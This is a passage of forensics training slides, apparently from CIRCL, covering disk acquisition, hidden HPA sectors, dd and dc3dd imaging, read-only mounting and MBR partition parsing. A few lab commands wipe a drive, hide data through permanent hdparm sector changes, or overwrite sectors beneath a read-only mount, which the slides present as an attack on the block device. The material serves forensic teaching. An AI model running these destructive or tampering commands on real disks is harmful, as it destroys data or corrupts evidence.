 48                         56                         64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Interprete bytes

```
 0                          8                          16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|  14 |-1| t  e  s  t  .  t  x  t | "  H  e  l  l  o     W

 24                         32                         40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|
  o  r  l  d  " CR|

 48                         56                         64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Exercise: Your turn

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|  14 |-1| t  e  s  t  .  t  x  t | "  H  e  l  l  o     W

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|
  o  r  l  d  "  CR|

 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Exercise: Solution

```
 0                          8                          16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|  14 |-1| t  e  s  t  .  t  x  t | "  H  e  l  l  o     W

 24                         32                         40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|
  o  r  l  d  " CR| D  F  E  A| 7|  17 | 0| d  f  i  r  .  6  4| R  E  Z

 48                         56                         64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
  J  U  i  B  y  d  W  x  l  e  g  0  = NL|FF FF FF FF|
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.9 Data, files, context

- Sequence of Bits + Addressing + Interpretation → Information
- Where did you find the suspicious data?
  - Binary inside TEMP folder
  - Autorun folder
  - Registry
  - Browser history
  - Command line history

  → Data → Information → Knowledge

- Information → Stored in files
- Files → Contains data
- Files → Data organized in data structures
- Files → Meta data describe files
- Files → File systems organize files and meta data

CIRCL
FORENSICS Training

3. Disk Acquisition

3.1 Storage devices / media

- IBM 305 RAMAC - IBM 350 Disk Storage
  - 1956: Random Access Method of Accounting and Control
  - 152 x 172 x 63 cm; 500 kg
  - 50.000 blocks of 100 Characters → 5MB

Image (c) www.chip.de - Image used solely for illustration purposes

3.1 Storage devices / media

ftp://ftp.seagate.com/techsuppt/misc/jet.txt

```
The incredible feat of a read/write head:  Today's new generation of disc
drives achieve the engineering equivalent of a Boeing 747 flying at MACH 4
just two meters above the ground, counting each blade of grass as it flies
over.  The read/write head floats at 12 millionths of an inch above the
surface of the disc which is turning at 3,600 revolutions per minute.
Read/write heads position precisely over information tracks which are 800
millionths of an inch apart and the data is electronically recorded at
20,000 bits per inch.
```

```
                    --.
                  / /   — — —
                /   /e
            ./    /e          /——u O O OO
  /oAAAAAAAAAAAAAAAAAAA/
{  @@@  oooooooooooooo @@'
  \AAAAAA\AAAA\AAAAAAAAAA/
          ue\    \
             e\   \
                \-\. = = ==
```

AAAAAAAAAAAAAAAAAAA

3.1 Storage devices / media

- Magnetic storage
  - Tapes
  - Floppy disks
    - 8" - 1971 - 80KB
    - 5.25" - 1976 - 360 KB
    - 3.5" - 1984 - 1.2 MB / - 1986 - 1.44 MB
  - Hard disks
    - IDE / EIDE, Firewire, PATA, SCSI
    - SATA, SAS Serial attached SCSI, USB, Thunderbolt
- Optical storage
  - Compact disks - CD
  - Digital versatile disk - DVD
  - Blu-ray disk
- Non-volatile memory
  - USB flash drive
  - Solid state drive
  - Flash memory cards

3.2 Physical- / Logical layers

```
                Mass storage device
 ---------    ---------    ---------    ---------
| 8 TByte |  | 8 TByte |  | 8 TByte |  | 8 TByte |
 ---------    ---------    ---------    ---------
     |            |            |            |
     V            V            V            V
     RAID
  ------------------------------------------------
  |  System  Data                                |
  |  ---------------------------------------------|
  | |  P1  |    P2 (24 TByte)                   |
  |  ---------------------------------------------|
  ------------------------------------------------
```

```
Considerations: Disk duplication

  Speed USB2: 480 Mbit/s
    Capacity: 8 * 1024^4 * 8
    Duration: ~39 hours per disk


  Speed USB3.1: 10 Gbit/s
    Capacity: 24 * 1024^4 * 8
    Duration: ~5.5 hours per volume

  (Theoretically)
```

```
A solution:
        - Local NAS
        - 10 GBit network
        - USB 3.1 / 3.2
        - 60+ TB mass storage
        - Virtual appliance
```

3.3 ATA Disks

- ATA-3: Hard disk password

- ATA-4: HPA - Host Protected Area
  - Not accessible by OS / user
  - Persistent data - Survive format and re-installation
  - Vendor area - Created by manufactur
  - Diagnostics and recovery tools
  - `READ_NATIVE_MAX_ADDRESS`

- ATA-6: DCO - Device Configuration Overlay
  - Supports manufacturs with a layer of abstraction
    - Use standard parts
      → To build different products
      → Example: Disks reports uniq amount of sectors

- ATA-7: Serial ATA

3.4 Demo: Hidden Sectors

- New disk

```
dmesg
    sd 1:0:0:0: [sdb] 3904981168 512-byte logical blocks: (2.00 TB/1.82 TiB)

hdparm -N /dev/sdb
    max sectors   = 3907029168/3907029168, ACCESSIBLE MAX ADDRESS disabled
```

- Create hidden message

```
echo -n 'MySecret 123456' | dd of=/dev/sdb seek=3500000000

dd if=/bin/dd of=/dev/sdb seek=3500000001
     148+1 records in
     148+1 records out
     76000 bytes (76 kB, 74 KiB) copied, 0,022659 s, 3,4 MB/s
```

- Create HPA

```
hdparm --yes-i-know-what-i-am-doing -N p3000000000 /dev/sdb
    setting max visible sectors to 3000000000 (permanent)
    max sectors   = 3000000000/3907029168, ACCESSIBLE MAX ADDRESS enabled

Power cycle your device after every ACCESSIBLE MAX ADDRESS
```

3.4 Demo: Hidden Sectors

- Create partition and format

```
dmesg
    sd 1:0:0:0: [sdb] 3000000000 512-byte logical blocks: (1.54 TB/1.40 TiB)

fdisk /dev/sdb
    primary
    2048
    2999999999

mkfs.ntfs -L CIRCL.DFIR -f /dev/sdb1
    Creating NTFS volume structures.
    mkntfs completed successfully. Have a nice day.
```

- Investigate disk layout

```
fdisk -l /dev/sdb
    Device     Boot Start        End    Sectors  Size Id Type
    /dev/sdb1        2048 2999999999 2999997952  1,4T  7 HPFS/NTFS/exFAT
```

- Investigate last accessible sector

```
dd if=/dev/sdb skip=2999999999 status=none| xxd
    00000000: eb52 904e 5446 5320 2020 2000 0208 0000  .R.NTFS    .....
      .......
    00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.
```

3.4 Demo: Hidden Sectors

- Try to access hidden message

```
dd if=/dev/sdb skip=3500000000 count=1 | xxd
    dd: /dev/sdb: cannot skip: Invalid argument
    0+0 records in
```

- Resize HPA

```
hdparm -N /dev/sdb
    max sectors   = 3000000000/3907029168, ACCESSIBLE MAX ADDRESS enabled

hdparm --yes-i-know-what-i-am-doing -N p3900000000 /dev/sdb
    max sectors   = 3900000000/3907029168, ACCESSIBLE MAX ADDRESS enabled

Power cycle your device after every ACCESSIBLE MAX ADDRESS
```

- Investigate disk layout and last sector

```
fdisk -l /dev/sdb
    Device     Boot Start        End    Sectors  Size Id Type
    /dev/sdb1        2048 2999999999 2999997952  1,4T  7 HPFS/NTFS/exFAT

dd if=/dev/sdb skip=2999999999 status=none | xxd | less
dd if=/dev/sdb skip=3899999999 status=none | xxd | less
```

3.4 Demo: Hidden Sectors

- Recover hidden message

```
dd if=/dev/sdb skip=3500000000 count=1 status=none
    00000000: 4d79 5365 6372 6574 2031 3233 3435 3600  MySecret 123456.
```

- Recover hidden dd command

```
dd if=/dev/sdb skip=$(( 3500000001*512 )) count=76000 bs=1 of=dd.exe

md5sum dd.exe
    36a70f825b8b71a3d9ba3ac9c5800683

md5sum /bin/dd
    36a70f825b8b71a3d9ba3ac9c5800683
```

- Feeback: kaplan(at)cert.at

```
https://www.schneier.com/blog/archives/2014/02/swap_nsa_exploi.html
https://en.wikipedia.org/wiki/Host_protected_area
```

- How it works

```
IDENTIFY DEVICE
SET MAX ADDRESS
READ NATIVE MAX ADDRESS
--> HPA aware software (like the BIOS)
```

3.5 Other Hidden Sectors

- Service area, negative sectors
  - Firmware
  - Bad sectors
  - ATA passwords

    ```
    hdparm --security-unlock "myPassWD" /dev/sdb
    ```
  - SMART data

- Self-Monitoring, Analysis and Reporting Technology - SMART

  ```
  apt install smartmontools
  smartctl -x /dev/sdb | less
  ```

  ```
  .....
  SMART Attributes Data Structure revision number: 16
  Vendor Specific SMART Attributes with Thresholds:
  ID# ATTRIBUTE_NAME          FLAGS    VALUE WORST THRESH FAIL RAW_VALUE
    1 Raw_Read_Error_Rate     POSR-K   200   200   051    -    0
    3 Spin_Up_Time            POS--K   234   233   021    -    3258
    4 Start_Stop_Count        -O--CK   100   100   000    -    679
    5 Reallocated_Sector_Ct   PO--CK   200   200   140    -    0
    7 Seek_Error_Rate         -OSR-K   200   200   000    -    0
    9 Power_On_Hours          -O--CK   095   095   000    -    3802
    .....
  ```

3.6 Collecting information from devices

hdparm -I /dev/sdb

```
ATA device, with non-removable media
        Model Number:       WDC WD20NPVT-00Z2TT0
        Serial Number:      WD-WX11A9269540
        Firmware Revision:  01.01A01
        Transport:          Serial, SATA 1.0a, SATA Rev 2.6, SATA Rev 3.0
Standards:
        Supported: 8 7 6 5
        Likely used: 8
        .....
Security:
        Master password revision code = 65534    supported
        not     enabled
        not     locked
        not     frozen
        not     expired: security count
        374min for SECURITY ERASE UNIT.
```

hdparm -I /dev/sda

```
...
Commands/features:
        Enabled Supported:
        ...
           *    Data Set Management TRIM supported (limit 8 blocks)
           *    Deterministic read ZEROs after TRIM
```

3.7 How is the device connected

- Most relevant data with: `dmesg`

```
dmesg -T
    .....
    [Mi Aug  1 13:06:11 2018] usb-storage 1-1:1.0: USB Mass Storage device detected
    [Mi Aug  1 13:06:11 2018] scsi host1: usb-storage 1-1:1.0
    [Mi Aug  1 13:06:13 2018] scsi 1:0:0:0: Direct-Access USB Flash DISK
    [Mi Aug  1 13:06:13 2018] sd 1:0:0:0: Attached scsi generic sg1 type 0
    [Mi Aug  1 13:06:13 2018] sd 1:0:0:0: [sdb] 15826944 512-byte logical blocks
```

- Enumerate host hardware

```
lshw | less
    .....

lshw -businfo -class storage
    Bus info          Device          Class          Description
    ==================================================================
    pci@0000:04:00.0                  storage        Samsung Electronics Co Ltd
    usb@2:3           scsi0           storage
    usb@1:1           scsi1           storage

lshw -businfo -class disk
    Bus info          Device          Class          Description
    ==================================================================
    scsi@0:0.0.0      /dev/sda        disk           SD/MMC CRW
                      /dev/sda        disk
    scsi@1:0.0.0      /dev/sdb        disk           2TB 2000FYYZ-01UL1B2
```

3.7 How is the device connected

- Enumerate PCI bus

```
lspci -d ::0106                    # List SATA controller

lspci -d ::0108                    # List NVME controller
    04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd Device a808

lspci -d ::0C03                    # List USB, FW, ... controller
    00:14.0 USB controller: Intel Corporation Sunrise Point-LP USB 3.0 xHCI Controller
    3b:00.0 USB controller: Intel Corporation JHL6540 Thunderbolt 3 USB Controller (C
    3e:00.0 USB controller: Fresco Logic FL1100 USB 3.0 Host Controller (rev 10)
    40:00.0 USB controller: Fresco Logic FL1100 USB 3.0 Host Controller (rev 10)
```

- Enumerate block devices

```
lsscsi -v

lsblk /dev/sdb
    NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
    sdb      8:16   0  1,8T  0 disk
     sdb1   8:17   0  1,8T  0 part /media/mich/031F0F30642CBB8B

lsblk -pd -o TRAN,NAME,SERIAL,VENDOR,MODEL,REV,WWN,SIZE,HCTL,SUBSYSTEMS /dev/sdb
    TRAN NAME     SERIAL          VENDOR   MODEL
    usb  /dev/sdb WD-WMC1P0H10ZEX WT055 WD 2000FYYZ-01UL1B2
             REV WWN                  SIZE HCTL       SUBSYSTEMS
            01.0 0x50014ee05979e023  1,8T 1:0:0:0     block:scsi:usb:pci
```

3.8 USB enumeration

- List attached USB device
  - USB bus
  - Device address
  - Vendor ID
  - Product ID
  - Product details

  ...

`lsusb`

```
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 002: ID 0bda:0328 Realtek Semiconductor Corp.
Bus 002 Device 003: ID 1b1c:1a0e Corsair
Bus 002 Device 004: ID 0951:162b Kingston Technology
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 06cb:009a Synaptics, Inc.
Bus 001 Device 003: ID 04f2:b61e Chicony Electronics Co., Ltd
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
```

3.8 USB enumeration

lsusb -t

```
/:  Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/2p, 10000M
/:  Bus 03.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/2p, 480M
/:  Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 5000M
    |__ Port 1: Dev 4, If 0, Class=Mass Storage, Driver=usb-storage, 5000M
    |__ Port 2: Dev 3, If 0, Class=Mass Storage, Driver=uas, 5000M
    |__ Port 3: Dev 2, If 0, Class=Mass Storage, Driver=usb-storage, 5000M
/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M
    |__ Port 8: Dev 3, If 1, Class=Video, Driver=uvcvideo, 480M
    |__ Port 8: Dev 3, If 0, Class=Video, Driver=uvcvideo, 480M
    |__ Port 9: Dev 4, If 0, Class=Vendor Specific Class, Driver=, 12M
```

lsusb -v -d 0951:162b‘

```
...
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           2
      bInterfaceClass         8 Mass Storage
      bInterfaceSubClass      6 SCSI
      bInterfaceProtocol     80 Bulk-Only
...
```

3.9 USB Interface monitoring

CIRCL
FORENSICS Training

4. Disk Cloning / Disk Imaging

4.1 Disk cloning - imaging

- Clone disk-2-disk
  - Different sizes
  - Wipe target disk!
- Clone disk-2-image
  - Clear boundaries
  - One big file
  - Break file into chunks
- Image file format
  - RAW
  - AFF (Advanced Forensic Format)
  - EWF (Expert Witness Format)
  - Please no 3rd party formats
- Write-Blockers
  - Hardware

4.2 Connecting devices

- udev

```
udevadm info /dev/sda                    # userspace /dev
udevadm monitor
```

- /dev/

```
/dev/sd*                # SCSI, SATA
/dev/hd*                # IDE. EIDE
/dev/md*                # RAID
/dev/nvme*n*            # NVME devices

/dev/sda1               # Partition 1 on disk 1
/dev/sda2               # Partition 2 on disk 1
...
```

- Block devices: Different level of access
  - Attaching
  - Mounting

4.2 Read partition table

- **dmesg**

```
[106834.127269] sd 6:0:0:0: Attached scsi generic sg1 type 0
[106834.127503] sd 6:0:0:0: [sdb] 15826944 512-byte logical blocks: (8.10 GB/7.54 GiB)
[106834.130380] sd 6:0:0:0: [sdb] Write Protect is off
```

- **fdisk -l circl-dfir.dd**

```
Disk circl-dfir.dd: 1536 MB, 1536000000 bytes
4 heads, 7 sectors/track, 107142 cylinders, total 3000000 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x8f7e6594

        Device Boot      Start         End      Blocks   Id  System
circl-dfir.dd1            2048     3000000     1498976+   7  HPFS/NTFS/exFAT
```

- Exercise: Analyze output. Why 1498976? → Conclusions?

```
End:      echo $(( 3000000 * 512 / 1024 ))          --> 1500000 KB
          echo $(( (3000000-2048) * 512 / 1024 ))   --> 1498976 KB

1498976:  echo $(( 1498976 * 2 ))                   --> 2997952
```

4.2 Mounting

- **mount**

```
mkdir /mnt/ntfs                                  # Create mount point
mount /dev/sdb1 /mnt/ntfs                        # Mounting

mount -o ro,remount /dev/sdb1 /mnt/ntfs          # Re-mounting

umount /mnt/ntfs                                 # Un-mounting
umount /dev/sdb1                                 # Also un-mounting


# Mounting readonly, no journaling, no executable
mount -o ro,noload,noexec /dev/sdb1 /mnt/ntfs
mount -o ro,noload,noexec,remount /dev/sdb1 /mnt/ntfs


# Mounting with offset. mounting from image files
mount -o ro,noload,noexec,offset=$((512*2048)) circl-dfir.dd /mnt/ntfs


# Mounting NTFS file systems
mount -o ro,noload,noexec,offset=$((512*2048)),
      show_sys_files,streams_interface=windows circl-dfir.dd /mnt/ntfs
```

4.3 dd - disk imaging rudimentary

Copy files from: `/mnt/ntfs/dd/`

```
$ dd if=img_1.txt of=out_1.txt bs=512

    <input file>     <output file><block size>
                                   (default)
3+0 records in
3+0 records out
1536 bytes (1.5 kB) copied, 0.000126 s, 12.2 MB/s

$ ll
-rw-rw-r-- 1 hamm hamm 1536 May 16 11:20 img_1.txt
-rw-rw-r-- 1 hamm hamm 1536 May 16 11:16 out_1.txt
```

```
$ dd if=img_2.txt of=out_2.txt bs=512
3+1 records in
3+1 records out
1591 bytes (1.6 kB) copied, 0.00016048 s, 9.9 MB/s

$ ll
-rw-rw-r-- 1 hamm hamm 1591 May 16 11:20 img_2.txt
-rw-rw-r-- 1 hamm hamm 1591 May 16 11:26 out_2.txt
```

4.3 dd - disk imaging rudimentary

Demo: `skip` and `count` options

```
dd if=img_3.txt bs=512 skip=0 count=1 status=none | less
dd if=img_3.txt bs=512 skip=1 count=1 status=none | less
dd if=img_3.txt bs=512 skip=2 count=1 status=none | less
```

Exercise: Play with `bs, skip` and `count` options

```
dd if=img_3.txt bs=1 skip=$((512*3)) count=16 status=none
dd if=img_3.txt bs=16 skip=$((32*3)) count=1 status=none
```

Exercise: `dd | xxd | less`

```
dd if=img_3.txt bs=512 skip=3 count=1 status=none | xxd | less

    0000000: 4f76 6572 6865 6164 2031 3233 3435 3637  Overhead 1234567
    0000010: 3839 3020 204d 6573 7361 6765 2d31 2020  890  Message-1
    0000020: 3039 3837 3635 3433 3231 2020 2020 2020  0987654321
    0000030: 2020 2020 2020 20
```

Exercise: Find the secret password behind sector 3

4.3 dd - disk imaging rudimentary

Exercise: Continue an interrupted imaging process

```
dd if=img_2.txt of=broken.raw bs=512 skip=0 count=2 status=none

ll  img_2.txt  ..... 1591 Aug 13 14:40 img_2.txt*
ll broken.raw  ..... 1024 Aug 13 15:05 broken.raw

dd if=img_2.txt of=broken.raw bs=512 skip=2 seek=2 status=none

md5sum  img_2.txt f319b1cc9d424a923a8c83c3e67185f1
md5sum broken.raw f319b1cc9d424a923a8c83c3e67185f1
```

Error handling: Bad blocks

```
$ dd if=img_3.txt of=out_3.txt bs=512 conv=noerror,sync
```

Demo: Progress

```
Signaling: & and 'kill -10'
Signaling: & and 'kill -USR1'
Signaling: & and 'kill -USR1 $(pidof dd)'
Option:    status=progress
```

4.4 Disk acquisition

- Forensic features
  - Progress monitoring
  - Error handling & logging
  - Meta data
  - Splitting output files & support of forensic formats
  - Cryptographic hashing & verification checking

    `md5sum circl-dfir.dd` → `bd80672b9d1bef2f35b6e902f389e83`
    `sha1sum circl-dfir.dd` → `e5ffc7233a.....7e53b9f783`
- Tools
  - dd
  - ddrescue, gddrescue, dd_rescue
  - dc3dd - Department of Defense Cyber Crime Center
  - dcfldd - Defense Computer Forensic Labs
  - rdd-copy, netcat, socat, ssh
  - Guymager

4.5 Exercise: dc3dd

```
dc3dd if=/mnt/ntfs/carving/deleted.dd                    # Input file
      log=usb.log  -/                                    # Logging
      hash=md5 hash=sha1  -/                             # Hashing
      ofsz=$((8*1024*1024)) ofs=usb.raw.000              # Chunk files of 8MB

ls -l

cat usb.log

cat usb.raw.00* | md5sum                                 # Verify hashes
cat usb.raw.00* | sha1sum

dc3dd wipe=/dev/sdx                                      # Wipe a drive
```

4.6 SuashFS as forensic container

- Embedded systems
- Read only file system
- Supports very large files
- Adding files possible
- Deleting, modifying files not possible
- Compressed

  → Real case: 3*1TB disks stored in 293GB container
- Bruce Nikkel: `http://digitalforensics.ch/sfsimage/`

```
mksquashfs circl-dfir.dd case_123.sfs
mksquashfs analysis.txt case_123.sfs
unsquashfs -ll case_123.sfs
.....
mksquashfs analysis.txt case_123.sfs
.....
sudo mount case_123.sfs /mnt/
```

4.7 Exercise: Modify data on RO mounted device

```
mount
mount -o ro,remount /media/michael/7515-6AA5/
mount


Demo: Modify Document

strings -td /dev/sdb1
    .....
    299106 Hello World!
    .....

echo $((299106/512))
    584

dd if=/dev/sdb1 bs=512 skip=584 count=1 of=584.raw
ll
hexer 584.raw

dd of=/dev/sdb1 bs=512 seek=584 count=1 if=584.raw
mount


Demo: Review Document
```

4.7 Exercise: RO Countermeasures

- Try on board methods:
  - `hdparm -r1 /dev/sdb`
  - `blockdev --setro /dev/sdb`
  - `udev` rules

    → Attack on block device still possible
- Try Forensics Linux Distributions:
  - Live Kali 2018_4 in forensic mode
  - SANS SIFT Workstation 3.0
  - DEFT X 8.2 DFIR Toolkit
    - Some distributions do not auto mount

      → Attack on block device still possible
- Kernel Patch: Linux write blocker (not tested)

  → `https://github.com/msuhanov/Linux-write-blocker`
- Hardware Write Blocker

  → Effectively block attack

CIRCL
FORENSICS Training

5. Disk Analysis

5.1 Low-Level Data Encoding

1. FM - Frequency Modulation

2. MFM - Modified Frequency Modulation (Double Density)

5.1 Low-Level Data Encoding

- RLL 2,7 - Run Length Limited
  - No more clock is stored
  - No less than 2 zeros in between two 1's
  - No mores than 7 zeros in between two 1's

Data chunk	RLL 2,7 code
000	000100
10	0100
010	100100
0010	00100100
11	1000
011	001000
0011	0001000

5.2 CHS - Cylinder Head Sector

Sector, Track, Head, Cylinder, LBA, (Cluster/Block)

Image (c) wikipedia.org - Image used solely for illustration purposes

5.3 Low-Level: Sector Structur

Image (c) forensicfocus.com - Image used solely for illustration purposes

5.4 Low-Level: Legacy considerations

Interleave Factor:

```
Interleave factor 1:1 —> 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17
Interleave factor 2:1 —> 01 10 02 11 03 12 04 13 05 14 06 15 07 16 08 17 09
Interleave factor 3:1 —> 01 07 13 02 08 14 03 09 15 04 10 16 05 11 17 06 12
```

Zone Bit Recording:

Zone:	12	11	10	09	08	07	06	05	04	03	02	01	00
Tracks:	100	120	140	155	170	185	195	205	210	210	215	218	220
Sectors:	132	132	132	132	132	132	132	132	100	100	100	100	100

Head and Cylinder Skewing:

```
No skewing

Cylinder 0: Head 0: |01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17
            Head 1: |01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17
Cylinder 1: Head 0: |01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17

Head skew = 1, Cylinder skew = 4

Cylinder 0: Head 0: |01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17
            Head 1:  17|01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
Cylinder 1: Head 0:  13 14 15 16 17|01 02 03 04 05 06 07 08 09 10 11 12
```

5.5 LBA - Logical Block Addressing - Abstract

```
Logical volume addresses
-------------------------------------------------------------------------------
|  0 |  1 |  2 |  3 |  4 |  5 |  6 |  7 |  8 |  9 | 10 | 11 | 12 | 13 | 14 |
-------------------------------------------------------------------------------
          |                   |                   |                   |
          |                   |                   |                   |
          -------------------------------------------------------------
   ^      |         0         |         1         |         3         |   ^
   |      -------------------------------------------------------------   |
   |      Logical file system addresses - Clusters                        |
  MBR                                                                 Volume slack
          *-------------------*
               2.048 Bytes
          *-------------------------------------------------------------*
                                   6.144 Bytes
```

5.6 MBR - Master Boot Record

```
# dd if=/dev/sdc bs=512 count=1 skip=0 |xxd

0000000: fab8 0010 8ed0 bc00 b0b8 0000 8ed8 8ec0  ................
0000016: fbbe 007c bf00 06b9 0002 f3a4 ea21 0600  ...|.........!..
0000032: 00be be07 3804 750b 83c6 1081 fefe 0775  ....8.u........u
0000048: f3eb 16b4 02b0 01bb 007c b280 8a74 018b  .........|...t..
0000064: 4c02 cd13 ea00 7c00 00eb fe00 0000 0000  L.....|.........
0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000096: 0000 0000 0000 0000 0000 0000 0000 0000  ................
...
...
0000432: 0000 0000 0000 0000 9af0 0200 0000 0020  ...............
0000448: 2100 0b1b 0299 0008 0000 0080 2500 00a8  !...........%...
0000464: 01a8 071a b327 0058 2900 00c0 5d00 001a  ..... '.X)...]...
0000480: b427 076c dad2 0018 8700 00c0 6800 0000  .'.l........h...
0000496: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.
```

```
000 — 439        0x000 — 0x1B7    Boot code
440 — 443        0x1B8 — 0x1BB    Disc signature
444 — 445        0x1BC — 0x1BD    Reserved
446 — 509        0x1BE — 0x1FD    Partitiontable
510 — 511        0x1FE — 0x1FF    0x55 0xAA
```

5.6 MBR - DOS Partition Table

```
# dd if=/dev/sdc bs=512 count=1 skip=0 |xxd

0000000: fab8 0010 8ed0 bc00 b0b8 0000 8ed8 8ec0   ................
0000016: fbbe 007c bf00 06b9 0002 f3a4 ea21 0600   ...|.........!..
0000032: 00be be07 3804 750b 83c6 1081 fefe 0775   ....8.u........u
0000048: f3eb 16b4 02b0 01bb 007c b280 8a74 018b   .........|...t..
0000064: 4c02 cd13 ea00 7c00 00eb fe00 0000 0000   L.....|.........
0000080: 0000 0000 0000 0000 0000 0000 0000 0000   ................
0000096: 0000 0000 0000 0000 0000 0000 0000 0000   ................
...
...
0000432: 0000 0000 0000 0000 9af0 0200 0000 0020   ................
0000448: 2100 0b1b 0299 0008 0000 0080 2500 00a8   !...........%...
0000464: 01a8 071a b327 0058 2900 00c0 5d00 001a   .....'.X)...]...
0000480: b427 076c dad2 0018 8700 00c0 6800 0000   .'.l........h...
0000496: 0000 0000 0000 0000 0000 0000 0000 55aa   ..............U.


Partitiontable:
  Offset: 0     Size: 1 Value: 0x80    --> Bootable
  Offset: 1     Size: 3 Value:         --> Starting CHS address
  Offset: 4     Size: 1 Value: 0x0b    --> FAT32
                                0x07    --> NTFS
  Offset: 5     Size: 3 Value:         --> Ending CHS address
  Offset: 8     Size: 4 Value:         --> Starting LBA address
  Offset:12     Size: 4 Value:         --> LBA size in sectors
```

5.6 MBR - DOS Partition Table

```
0000432: 0000 0000 0000 0000 9af0 0200 0000 0020   ................
0000448: 2100 0b1b 0299 0008 0000 0080 2500 00a8   !...........%...
0000464: 01a8 071a b327 0058 2900 00c0 5d00 001a   .....'.X)...]...
0000480: b427 076c dad2 0018 8700 00c0 6800 0000   .'.l........h...
0000496: 0000 0000 0000 0000 0000 0000 0000 55aa   ..............U.

Partitiontable:
  Offset: 0     Size: 1 Value: 0x80    —> Bootable
  Offset: 1     Size: 3 Value:         —> Starting CHS address
  Offset: 4     Size: 1 Value: 0x0b    —> FAT32
                                0x07    —> NTFS
  Offset: 5     Size: 3 Value:         —> Ending CHS address
  Offset: 8     Size: 4 Value:         —> Starting LBA address
  Offset:12     Size: 4 Value:         —> LBA size in sectors

Addressable space:
  CHS: echo $((2^8 x 2^6 x 2^10 * 512 / 1024^2))  ==  8192 MByte
  LBA: echo $((2^32 * 512 / 1024^3))              ==     2 TByte
```

Exercise: Calculate the size of the partitions

1. Take 4 byte from "LBA size"
2. Switch Little Endian value into Big Endian
3. Don't forget: Now you have the sector value, not the byte value

5.6 MBR - DOS Partition Table

```
0000432: 0000 0000 0000 0000 9af0 0200 0000 0020   ................
0000448: 2100 0b1b 0299 0008 0000 0080 2500 00a8   !...........%...
0000464: 01a8 071a b327 0058 2900 00c0 5d00 001a   ..... '.X)...]...
0000480: b427 076c dad2 0018 8700 00c0 6800 0000   .'.l........h...
0000496: 0000 0000 0000 0000 0000 0000 0000 55aa   ..............U.
```

Exercise: Calculate the size if the partitions

	Little Endian	Big Endian	Decimal	Sector size		
Part1:	0x00802500	0x00258000	2457600	* 512	1258291200	1.2 GB
Part2:	0x00c05d00	0x005dc000	6144000	* 512	3145728000	3.0 GB
Part3:	0x00c06800	0x0068c000	6864896	* 512	3514826752	3.4 GB

- Demo: Change partition type with hexeditor

  `fdisk -l /dev/sdb; hexedit /dev/sdb; F2, CTRL+x`

